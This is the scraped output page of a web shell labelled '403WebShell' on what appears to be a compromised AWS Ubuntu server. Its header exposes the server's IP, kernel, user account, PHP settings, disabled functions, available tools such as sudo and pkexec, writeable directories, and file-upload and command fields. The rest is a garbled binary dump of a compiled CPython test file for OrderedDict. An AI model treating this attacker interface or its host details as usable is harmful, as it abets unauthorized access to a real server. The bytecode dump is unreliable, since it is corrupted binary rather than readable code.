Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.10/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.10/test/__pycache__/test_ordered_dict.cpython-310.pyc
o

�9jn~�@s�ddlZddlZddlZddlZddlZddlmZmZddlZddl	Z	ddl
Z
ddlZddlm
Z
ddlmZmZddlmZejddgd�Zejddgd	�Zejd
d��ZGdd
�d
�ZGdd�dee
j�ZGdd�de
j�Zd��D]Zeeeeee��qu[e
� ed�Gdd�dee
j��Z!Gdd�de�Z"Gdd�de!�Z#Gdd�dej$�Z%e
� ed�Gdd�dej$��Z&Gdd�dej$�Z'e
� ed�Gd d!�d!ej$��Z(e)d"kr�e
�*�dSdS)#�N)�	randrange�shuffle)�MutableMapping)�
mapping_tests�support)�
import_helper�collections�_collections)�blocked)�freshc	cs:�tj|}|tj|<zdVW|tj|<dS|tj|<w�N)�sys�modules)�name�replacement�original_module�r�-/usr/lib/python3.10/test/test_ordered_dict.py�replaced_modules�

rc@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd+d,�Zd-d.�Zd/d0�Zd1d2�Zd3d4�Zd5d6�Zd7d8�Zd9d:�Zd;d<�Z d=d>�Z!d?d@�Z"dAdB�Z#dCdD�Z$dEdF�Z%dGdH�Z&dIdJ�Z'dKdL�Z(dMdN�Z)dOdP�Z*dQdR�Z+dSdT�Z,dUdV�Z-dWdX�Z.dYdZ�Z/d[d\�Z0d]d^�Z1e2j3d_d`��Z4daS)b�OrderedDictTestscCs^|j}|�t��|ddgd�Wd�n1swYgd�}|�t|t|�����|�|�t|d
it|������|�|�t||����|�|�t|gd�ddd����|�|�t|dd	����d
g�|�t|dd����dg�|�t|d�|�t|d
d
�|�t|j�|gd��}|jddgddd�|�t|���gd��dS)N��a���b��rr��c���d���e��rr)r�	r rr%�rr$�*��self)r+r)��other)r-r)r�rrr)r!�,)r$�7r#��f��r"��gr!�rrrr r#r1)r6r4)	�OrderedDict�assertRaises�	TypeError�assertEqual�sorted�dict�items�list�__init__)r+r8�pairsr!rrr�	test_init"s2�"����zOrderedDictTests.test_initcCsD|j}gd�}t|�||�}|di|��}|�t|���|�dS)Nr7r)r8rr;r?r>)r+r8r>�argdictr!rrr�test_468:szOrderedDictTests.test_468cCs|j}|�t��|��ddgd�Wd�n1swYgd�}|�}|�t|��|�t|���|�|�}|jdit|���|�t|���|�|�}|�|�|�t|���|�|�}|jgd�ddd�|�t|���|�|�}|jdd	�|�t|���d
g�|�}|jid�|�t|���difg�|�}|jdd
ddd�|�tt|����gd��|gd��}|jddgddd�|�t|���gd��|�t|�jd�|�t|�jdd�|�t|j�|�t|�jd�|�t|�jdd�|�t|j�dS)Nrrrr&rr%r(�r*)r+rEr,r-r3r4�)�red�bluer-r+))rHr3)r-r4)rGr%)r+rFr.r#r1r"r5r7r)r)	r8r9r:�updater=r;r<r>r?)r+r8rA�odr!rrr�test_updateBsN�
��zOrderedDictTests.test_updatecs4g�G�fdd�d�}|�|��|��dg�dS)Ncs$eZdZ�fdd�Z�fdd�ZdS)z.OrderedDictTests.test_init_calls.<locals>.Spamc���d�dS)N�keysr��appendr*��callsrrrMs�
z3OrderedDictTests.test_init_calls.<locals>.Spam.keyscrL)Nr>rrNr*rPrrr>vrRz4OrderedDictTests.test_init_calls.<locals>.Spam.itemsN)�__name__�
__module__�__qualname__rMr>rrPrr�SpamrsrVrM)r8r;)r+rVrrPr�test_init_callspsz OrderedDictTests.test_init_callscCs�|j}|�d�}|�t|���dd�dD��|jddd�}|�t|���dd�dD��|jddd�}|�t|���dd�dD��dS)N�abccS�g|]}|df�qSrr��.0rrrr�
<listcomp>��z2OrderedDictTests.test_fromkeys.<locals>.<listcomp>��valuecSrYrrrZrrrr\�r]rcSrY�rrrZrrrr\�r])r8�fromkeysr;r?r>�r+r8rJrrr�
test_fromkeys}s
"zOrderedDictTests.test_fromkeyscCs(|j}|�|�t�|�t|t��dSr)r8�assertIsInstancer�
assertTrue�
issubclass)r+r8rrr�test_abc�szOrderedDictTests.test_abccCsN|j}gd�}t|�||�}|�t|�t|��|��|�t|�d�dS�N�)rrr)rrr r#r1r)r8rr;�len�clear�r+r8rArJrrr�
test_clear�szOrderedDictTests.test_clearcCs�|j}gd�}||�}|d=|�d|�|�t��|d=Wd�n1s'wY|�t|���|dd�|dd��dS)Nrirrr)r8�assertNotInr9�KeyErrorr;r?r>rlrrr�test_delitem�s�,zOrderedDictTests.test_delitemcCs>|j}|gd��}d|d<d|d<|�t|���gd��dS)N)�r!rrr�rr"r#�
r�r2)rqr)rrsrrr#)r2rt�r8r;r?r>rbrrr�test_setitem�s�zOrderedDictTests.test_setitemcCs|j}gd�}t|�||�}|�t|�dd�|D��|�t|���dd�|D��|�t|���dd�|D��|�t|���|�|�tt|��dd�t|�D��|�tt|����dd�t|�D��|�tt|����dd�t|�D��|�tt|����tt|���dS)	NricS�g|]}|d�qSr`r�r[�trrrr\�r]z3OrderedDictTests.test_iterators.<locals>.<listcomp>cSrwr`rrxrrrr\�r]cSrw�rrrxrrrr\�r]cSrwr`rrxrrrr\�r]cSrwr`rrxrrrr\�r]cSrwrzrrxrrrr\�r])r8rr;r?rM�valuesr>�reversedrlrrr�test_iterators�s$���$zOrderedDictTests.test_iteratorscCs^|j}|�d�}t|�}t|�}||=|�t��
t|�Wd�dS1s(wYdS)NrX)r8ra�iter�nextr9�	Exception)r+r8rJ�it�keyrrr�%test_detect_deletion_during_iteration�s

"�z6OrderedDictTests.test_detect_deletion_during_iterationcCs�|j}|�t��|ddgd�Wd�n1swYgd�}||�}|�t|�dd�|D��|�t|���dd�|D��|�t|���dd�|D��|�t|���|�|�tt|��tdd�t|�D���dS)	NrrrcSrwr`rrxrrrr\�r]z:OrderedDictTests.test_sorted_iterators.<locals>.<listcomp>cSrwr`rrxrrrr\�r]cSrwrzrrxrrrr\�r]cSrwr`rrxrrrr\�r])	r8r9r:r;r<rMr{r>r|rlrrr�test_sorted_iterators�s��z&OrderedDictTests.test_sorted_iteratorscCs�|j}|�}g}|�t|�|�|�t|���|�|�t|���|�|�t|���|�|�tt|��|�|�tt|����|�|�tt|����|�|�tt|����|�dSr)r8r;r?rMr{r>r|)r+r8rJ�emptyrrr�test_iterators_empty�sz%OrderedDictTests.test_iterators_emptycCs�|j}gd�}t|�||�}|r|�|��|���|s|�t��|��Wd�n1s1wY|�t|�d�dSrh)r8rr;�popitem�popr9rorjrlrrr�test_popitem�s�
�zOrderedDictTests.test_popitemcCsb|j}dd�td�D�}||�}td�D]}|�d�q|�d�|jdd�|�t|�d�dS)NcS�g|]}||f�qSrr�r[�irrrr\�r]z6OrderedDictTests.test_popitem_last.<locals>.<listcomp>�rFT��lastrt)r8�ranger�r;rj)r+r8rA�objr�rrr�test_popitem_last�s
z"OrderedDictTests.test_popitem_lastcCsJ|j}gd�}t|�||�}t|�|r&|��\}}|�|�|�|�|s|�t��
|�d�Wd�n1s;wY|�t|�d�|�|�|d�d�Gdd�d|�}|dd�}|�|�d	d
�d
�|�|�dd�d�|�|�dd�d�|�|jddd
�d�|�t��|�d�Wd�dS1s�wYdS)Nri�xyzri90c@�eZdZdd�ZdS)z*OrderedDictTests.test_pop.<locals>.MissingcS�dS�Nrr�r+r�rrr�__missing__�z6OrderedDictTests.test_pop.<locals>.Missing.__missing__N�rSrTrUr�rrrr�Missing�r�r�rrr%rr3��default)r8rr�r;r9rorj)r+r8rArJ�k�vr��mrrr�test_pop�s.��
"�zOrderedDictTests.test_popcCs�|j}gd�}t|�||�}||�}|�||�|dd�|dd�}||�}|�||�|�|t|��|�t|�|�|�|||dd���dS)Nrir���)r8rr;�assertNotEqualr=)r+r8rA�od1�od2rrr�
test_equalityszOrderedDictTests.test_equalityc
s�j}gd�}||����fdd�}|����|t����|t����td�j��3ttjd�D]#}�j|d��|t�	t�
�|���Wd�n1sRwYq4Wd�n1sbwY|tt����|�}|�
��||�||���dS)Nricsnd|�f}��|�|���|����t|���t�������t|�t�����t|�t���dS)Nz
copy: %s
od: %s)�assertIsNotr;r?r>rj�type)�dup�msg�rJr+rr�check"sz,OrderedDictTests.test_copying.<locals>.checkrr)�proto)r8�copy�deepcopyr�moduler��pickle�HIGHEST_PROTOCOL�subTest�loads�dumps�eval�reprrI)r+r8rAr�r��update_testrr�r�test_copyings(����
zOrderedDictTests.test_copyingcCs:|j}gd�}||�}|�tdd�|��dD���dS)Nricss�|]	}t|�tkVqdSr)r�r?)r[�pairrrr�	<genexpr>?s�z5OrderedDictTests.test_yaml_linkage.<locals>.<genexpr>r)r8re�all�
__reduce__rlrrr�test_yaml_linkage7s$z"OrderedDictTests.test_yaml_linkagecCsj|j}gd�}||�}|�|jt�|�|��d�d|_|�|jdd�|�|��dddi�dS)Nrirrs�x)r8rd�__dict__r=�assertIsNoner�r�r;rlrrr�test_reduce_not_too_fatAsz(OrderedDictTests.test_reduce_not_too_fatcCs�|j}|�}||d<td|j��6tdtjd�D]$}t�t�||��}|�||�|�	t
|���dg�|�|d|�qWd�dS1sIwYdS)Nrrr�)
r8rr�r�r�r�r�r�r�r;r?rM�assertIs)r+r8rJr�r�rrr�test_pickle_recursiveLs�"�z&OrderedDictTests.test_pickle_recursivecCsL|j}|gd��}|�t|�d�|�tt|��|�|�t|��d�dS)NrizIOrderedDict([('c', 1), ('b', 2), ('a', 3), ('d', 4), ('e', 5), ('f', 6)])z
OrderedDict())r8r;r�r�rbrrr�	test_reprYs
�zOrderedDictTests.test_reprcCs,|j}|�d�}||d<|�t|�d�dS)NrXr�z@OrderedDict([('a', None), ('b', None), ('c', None), ('x', ...)]))r8rar;r�rbrrr�test_repr_recursiveas

�z$OrderedDictTests.test_repr_recursivecCsP|j}|�}|��|d<t|�}|�|t�|��|d<t|�}|�|t�dS)Nr))r8r{r�rd�strr>)r+r8rJ�rrrr�test_repr_recursive_valuesisz+OrderedDictTests.test_repr_recursive_valuescCs�|j}gd�}t|�||�}t|���}|�|�dd�d�|�t|���|�|�|�dd�d�|�t|���dd�|�|jdd	d
�d	�Gdd�d|�}|�|��d
d	�d	�dS)Nrirrsrr�r�)r�rsr6r'r�c@r�)z1OrderedDictTests.test_setdefault.<locals>.MissingcSr�r�rr�rrrr��r�z=OrderedDictTests.test_setdefault.<locals>.Missing.__missing__Nr�rrrrr��r�r�r%)r8rr?r>r;�
setdefault)r+r8rArJ�
pair_orderr�rrr�test_setdefaultwsz OrderedDictTests.test_setdefaultcCs\|j}|�}d|d<d|d<|d=|�t|���dg�d|d<|�t|���ddg�dS)Nrrrrrrrurbrrr�
test_reinsert�szOrderedDictTests.test_reinsertcCs2|j}|�d�}|�t|�td��|�d�|�t|�td��|�dd�|�t|�td��|�dd�|�t|�td��|�d�|�t|�td��|jddd�|�t|�td	��|�t��
|�d
�Wd�n1svwY|�t��|�d
d�Wd�dS1s�wYdS)N�abcder�abdecF�cabder$rr��bcader�)r8rar;r?�move_to_endr9rorbrrr�test_move_to_end�s&


�"�z!OrderedDictTests.test_move_to_endcCs�|j}|�d�}|jddd�|�t|�td��|jddd�|�t|�td��|�d�}|�d�|�t|�td��|�d�|�t|�td	��dS)
NrXrFr��cabr�acb�bca�bac)r8rar�r;r?rbrrr�test_move_to_end_issue25406�s



z,OrderedDictTests.test_move_to_end_issue25406cCs:|j}tdd�}|di|��}|�t�|�t�|��dS)Nrr�r)r8r=�
assertGreaterr
�	getsizeof)r+r8r!rJrrr�test_sizeof�s
zOrderedDictTests.test_sizeofcCsL|j}d��}|�|�}|�|��t|����|�|��t|����dS)Nz@the quick brown fox jumped over a lazy dog yesterday before dawn)r8�splitrar;rMr=r>)r+r8�srJrrr�
test_views�s

zOrderedDictTests.test_viewscCs:|j}Gdd�d|�}gd�}|�t||����|�dS)Nc@r�)z3OrderedDictTests.test_override_update.<locals>.MyODc_st��r)r�)r+�args�kwdsrrrrI��z:OrderedDictTests.test_override_update.<locals>.MyOD.updateN)rSrTrUrIrrrr�MyOD�r�r�)rrrru)r+r8r�r>rrr�test_override_update�sz%OrderedDictTests.test_override_updatecCs4|j}d}td�D]	}|d|fg�}q	~t��dS)Ni�)r8r�r�
gc_collect)r+r8r��_rrr�test_highly_nested�sz#OrderedDictTests.test_highly_nestedcsj|j}g�G�fdd�d|�}d}td�D]}|d|fg�}||_q~t��|��tttd����dS)NcseZdZ�fdd�ZdS)z:OrderedDictTests.test_highly_nested_subclass.<locals>.MyODcs��|j�dSr)rOr�r*��deletedrr�__del__�szBOrderedDictTests.test_highly_nested_subclass.<locals>.MyOD.__del__N)rSrTrUr�rr�rrr��sr��d)r8r�r�rr�r;r?r|)r+r8r�r�r�rr�r�test_highly_nested_subclass�sz,OrderedDictTests.test_highly_nested_subclassc	Cs�|j}Gdd�d�}dd�}d}||�}||�}|||��}|�}d||<d||<d||<d|d<||=||=|�t|���|dfdg�dS)	Nc@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
z9OrderedDictTests.test_delitem_hash_collision.<locals>.KeycSs||_tt|��|_dSr)�_hashr��idr_)r+�hashrrrr@�szBOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__init__cS�|jSr)r�r*rrr�__hash__�r�zBOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__hash__cSs$z|j|jkWStyYdSw)NF)r_�AttributeError)r+r-rrr�__eq__�s
�z@OrderedDictTests.test_delitem_hash_collision.<locals>.Key.__eq__cSr�rr^r*rrr�__repr__�r�zBOrderedDictTests.test_delitem_hash_collision.<locals>.Key.__repr__N)rSrTrUr@r�r�r�rrrr�Key�s
r�cSs$d}||d@}|d>||dS)NrFrrr)r��MINSIZEr�rrr�
blocking_hash�szCOrderedDictTests.test_delitem_hash_collision.<locals>.blocking_hashr.�after)r�.ru)	r+r8r�r��	COLLIDINGr��	colliding�blockingrJrrr�test_delitem_hash_collision�s z,OrderedDictTests.test_delitem_hash_collisioncCs|j}Gdd�d�}|�}td�D]	}|�}|||<q|�t��t|���Wd�n1s1wY|�t��t|���Wd�n1sLwY|�t��t|�Wd�n1sewY|�t��
|��Wd�dS1swYdS)Nc@r�)z-OrderedDictTests.test_issue24347.<locals>.KeycSstd�S)Ni��)rr*rrrr�sz6OrderedDictTests.test_issue24347.<locals>.Key.__hash__N�rSrTrUr�rrrrr�r�r�r�)	r8r�r9ror?r{r>r�r�)r+r8r�rJr�r�rrr�test_issue24347s$
��
�
"�z OrderedDictTests.test_issue24347cCs0|j}Gdd�d�}|�}d||�<|��dS)Nc@r�)z-OrderedDictTests.test_issue24348.<locals>.KeycSr�)Nrrr*rrrr�-r�z6OrderedDictTests.test_issue24348.<locals>.Key.__hash__Nr�rrrrr�,r�r�r)r8r�)r+r8r�rJrrr�test_issue24348)s

z OrderedDictTests.test_issue24348cCsL|j}|�}dD]}dD]}t|�dkr|jdd�||}|||<qqdS)a�
        dict resizes after a certain number of insertion operations,
        whether or not there were deletions that freed up slots in the
        hash table.  During fast node lookup, OrderedDict must correctly
        respond to all resizes, even if the current "size" is the same
        as the old one.  We verify that here by forcing a dict resize
        on a sparse odict and then perform an operation that should
        trigger an odict resize (e.g. popitem).  One key aspect here is
        that we will keep the size of the odict the same at each popitem
        call.  This verifies that we handled the dict resize properly.
        �0123456789ABCDEFr"Fr�N)r8rjr�)r+r8rJ�c0�c1r�rrr�test_issue246675s
��z OrderedDictTests.test_issue24667cC�.|j}|�}t�|dd�|�dt|��dS�N�spamr�NULL)r8r=�__setitem__rnr�rbrrr�test_dict_setitemN�z"OrderedDictTests.test_dict_setitemcC�`|j}|�}d|d<d|d<t�|d�|�t��
t|�Wd�dS1s)wYdS�Nrrr�ham)r8r=�__delitem__r9ror�rbrrr�test_dict_delitemT�
"�z"OrderedDictTests.test_dict_delitemcCs:|j}|�}d|d<d|d<t�|�|�dt|��dS)Nrrrrr)r8r=rkrnr�rbrrr�test_dict_clear]s
z OrderedDictTests.test_dict_clearcCrr
)r8r=r�r9ror�rbrrr�
test_dict_poperzOrderedDictTests.test_dict_popcCs^|j}|�}d|d<d|d<t�|�|�t��
t|�Wd�dS1s(wYdSr
)r8r=r�r9ror�rbrrr�test_dict_popitemns

"�z"OrderedDictTests.test_dict_popitemcCrr)r8r=r�rnr�rbrrr�test_dict_setdefaultwrz%OrderedDictTests.test_dict_setdefaultcCs.|j}|�}t�|dg�|�dt|��dS)N)rrr)r8r=rIrnr�rbrrr�test_dict_update}rz!OrderedDictTests.test_dict_updatecsF|j�G�fdd�d�}d|j|<t�|�}~t��|�|��dS)NcseZdZ��ZdS)z/OrderedDictTests.test_reference_loop.<locals>.AN)rSrTrUrJr�r8rr�A�s
r)r8rJ�weakref�ref�gc�collectr�)r+rr�rrr�test_reference_loop�s

z$OrderedDictTests.test_reference_loopcCsPt�|t|j�t�|dd�|j�t�|dd�|j�t�|dd�|j�dS)NcS�t|���Sr)r~rM�r!rrr�<lambda>��z<OrderedDictTests.test_free_after_iterating.<locals>.<lambda>cSrr)r~r{rrrrr �r!cSrr)r~r>rrrrr �r!)r�check_free_after_iteratingr~r8r*rrr�test_free_after_iterating�sz*OrderedDictTests.test_free_after_iteratingcCsZ|j}|dddd��}|dddd��}|��}|��}||O}|t|���O}|ddddd��}|�|t|�B|�|�||B|�|�||�|�||�|��}||O}|ddddd��}|�t|�|B|�|�||B|�|�||�|�t||B�|�|�tt|�|B�|�|�t|t|�B�|�|��}|d	O}|d
O}|�||�|�t	��|dBWd�n1s�wY|�t	��|d	BWd�n1s�wY|�t	��|dBWd�n1s�wY|�t	��|d
BWd�n	1�swY|�t
��
|dO}Wd�dS1�s&wYdS)Nrr)rrrrr)rrr)rrrr)rrrrr��BAD)r8r�r?r>r;r=r�r�r9r:�
ValueError)r+r8rrrr!�expectedrrr�test_merge_operator�sP
�
�
�
�
$�z$OrderedDictTests.test_merge_operatorcCs6t|�dgi����}t��|�t�t|���dSr)r~r8r>rrre�
is_trackedr)r+r�rrr�!test_ordered_dict_items_result_gc�sz2OrderedDictTests.test_ordered_dict_items_result_gcN)5rSrTrUrBrDrKrWrcrgrmrprvr}r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrr
rrrrrrrr#r(r�cpython_onlyr*rrrrr sd.
		




	'			+rc@seZdZeZejZdS)�PurePythonOrderedDictTestsN�rSrTrU�py_collr�r8rrrrr,�s
r,c@seZdZdZeZeZdS)�CPythonBuiltinDictTestszaBuiltin dict preserves insertion order.

    Reuse some of tests in OrderedDict selectively.
    N)rSrTrU�__doc__�builtinsr�r=r8rrrrr/�sr/z�test_init test_update test_abc test_clear test_delitem test_setitem test_detect_deletion_during_iteration test_popitem test_reinsert test_override_update test_highly_nested test_highly_nested_subclass test_delitem_hash_collision z0requires the C version of the collections modulec@sHeZdZeZejZejZejdd��Z	dd�Z
dd�Zejdd��Zd	S)
�CPythonOrderedDictTestscCsl|j}tj}tj}|j}|d�}|d�}|d�}|d�}|d�}	|�}
||
|�d|
_||
|�|
�dd�td	�D��||
||d
|d
d|d	|	�|
�dd�td	d
�D��||
||d|dd
|d
|	�||
�	�|d��||
�
�|d��||
��|d��|d�}|t|
�|�|t|
�	��|�|t|
�
��|�|t|
���|�dS)N�nQ2P3PnPn2P�2nP2n�n2P�P�Pn2PrcSr�rrr�rrrr\�r]z=CPythonOrderedDictTests.test_sizeof_exact.<locals>.<listcomp>rrFr%cSr�rrr�rrrr\�r]rs��iP2n2P)
r8�struct�calcsizer�calcobjsize�check_sizeofr�rIr�rMr>r{r~)r+r8r;�sizer��	basicsize�keysize�	entrysize�p�nodesizerJ�itersizerrr�test_sizeof_exact�s2

**z)CPythonOrderedDictTests.test_sizeof_exactcCs|j}|�d�}|�t|�td��|�t��t|�D]\}}|�|�|�|d�qWd�n1s6wY|�t��|D]}d|d<qCWd�n1sTwY|�t��|D]}|d=qaWd�n1sqwY|�t|�td��dS)Nr�r%r2r�bdeaf)	r8rar;r?r9�RuntimeError�	enumerater��
assertLess)r+r8rJr�r�rrr� test_key_change_during_iterations(

��
����z8CPythonOrderedDictTests.test_key_change_during_iterationc
Cs�|j}gd�}||�}dD]U}t||�}t|��dd�}ttjd�D]=}|j||d��,t|��}t|�t�	||�}	t�
|	�}
|�t|
�|�|�t|�|�Wd�n1s\wYq$q
dS)Nri)rMr{r>r)�method_name�protocol)r8�getattrr?r�r�r�r�r~rr�r�r;)r+r8rArJrK�methr'r�r�rB�	unpickledrrr�test_iterators_picklings$


����z/CPythonOrderedDictTests.test_iterators_picklingcCsJt��|��}||_g}|�|�t�|�}|�|�~~~t��dSr)rrr8�cyclerOrr)r+r�rQ�x_refrrr�"test_weakref_list_is_not_traversed.s


z:CPythonOrderedDictTests.test_weakref_list_is_not_traversedN)
rSrTrU�c_collr�r8rr=r+rErJrPrSrrrrr2�s
 r2c@�"eZdZeZGdd�dej�ZdS)�"PurePythonOrderedDictSubclassTestsc@�eZdZdS)z.PurePythonOrderedDictSubclassTests.OrderedDictN�rSrTrUrrrrr8F�r8Nr-rrrrrVC�rVc@rU)�CPythonOrderedDictSubclassTestsc@rW)z+CPythonOrderedDictSubclassTests.OrderedDictNrXrrrrr8MrYr8N)rSrTrUrTr�r8rrrrr[JrZr[c@� eZdZedd��Zdd�ZdS)�PurePythonGeneralMappingTestscC�tj|_dSr�r.r8�	type2test��clsrrr�
setUpClassS�z(PurePythonGeneralMappingTests.setUpClasscC�|��}|�t|j�dSr��_empty_mappingr9ror��r+r!rrrr�W�z*PurePythonGeneralMappingTests.test_popitemN�rSrTrU�classmethodrcr�rrrrr]Qs
r]c@r\)�CPythonGeneralMappingTestscCr^r�rTr8r`rarrrrc_rdz%CPythonGeneralMappingTests.setUpClasscCrerrfrhrrrr�criz'CPythonGeneralMappingTests.test_popitemNrjrrrrrl\s
rlc@r\)�PurePythonSubclassMappingTestscC�Gdd�dtj�}||_dS)Nc@rW)z@PurePythonSubclassMappingTests.setUpClass.<locals>.MyOrderedDictNrXrrrr�
MyOrderedDictlrYrpr_�rbrprrrrcj�
z)PurePythonSubclassMappingTests.setUpClasscCrerrfrhrrrr�priz+PurePythonSubclassMappingTests.test_popitemNrjrrrrrnhs
rnc@r\)�CPythonSubclassMappingTestscCro)Nc@rW)z=CPythonSubclassMappingTests.setUpClass.<locals>.MyOrderedDictNrXrrrrrpzrYrprmrqrrrrcxrrz&CPythonSubclassMappingTests.setUpClasscCrerrfrhrrrr�~riz(CPythonSubclassMappingTests.test_popitemNrjrrrrrsus
rs�__main__)+r1�
contextlibr�rr��randomrrr:r
�unittestr�collections.abcr�testrr�test.supportr�import_fresh_moduler.rT�contextmanagerrr�TestCaser,r/r��method�setattrrM�
skipUnlessr2rVr[�BasicTestMappingProtocolr]rlrnrsrS�mainrrrr�<module>s^��
	0
�
^



�

Youez - 2016 - github.com/yon3zu
LinuXploit